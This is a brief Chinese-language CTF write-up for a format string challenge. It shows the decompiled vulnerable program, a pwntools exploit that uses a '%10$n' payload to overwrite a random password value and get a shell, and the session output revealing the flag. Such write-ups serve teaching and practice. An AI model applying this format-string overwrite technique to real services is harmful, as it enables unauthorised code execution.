## 格式化字符串的原理

https://blog.csdn.net/qq\_43394612/article/details/84900668

## 解题过程

```
ł View-A 🗵 📳 Pseudocode-A 🔼 📵 Stack of main 🗵 🔘 Hex View-1 🗵 🖪 Structures 🗵 🗒
                                                                                 Enums
 v7 = &a1;
 v6 = __readgsdword(0x14u);
 setvbuf(stdout, 0, 2, 0);
 v1 = time(0);
 srand(v1);
 fd = open("/dev/urandom", 0);
 read(fd, &dword_804C044, 4u);
 printf("your name:");
 read(0, buf, 0x63u);
 printf("Hello,");
 printf(buf);
 printf("your passwd:");
 read(0, nptr, 0xFu);
 if ( atoi(nptr) == dword_804C044 )
   puts("ok!!");
   system("/bin/sh");
 }
 else
   puts("fail");
 }
 result = 0;
 if ( __readgsdword(0x14u) != v6 )
   sub_80493D0();
 return result;
```

可以看出是个格式化利用字符串的题目 主要利用点在于buf。

```
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from pwn import *

io=remote('node3. buuoj. cn', 28474)
addr = 0x804c044
payload = p32(addr)+ "%10$n"

io. recvuntil("your name:")
io. sendline(payload)
io. recvuntil("your passwd:")
io. sendline("4")
io. interactive()
```

看exp, pyload中的%10\$n, 即取从format string往下偏移10\*4(十进制)的值(指针),写入打印的数字个数。

```
root@ubuntu:/home/giantbranch/Desktop/ctf# python exp.py
[+] Opening connection to node3.buuoj.cn on port 28474: Done
[*] Switching to interactive mode
ok!!
$ cat flag
flag{3114fc10-71b0-4561-be6f-fff88a28bd4c}
[*] Got EOF while reading in interactive
$ ls
$ cat
$ cat flag
```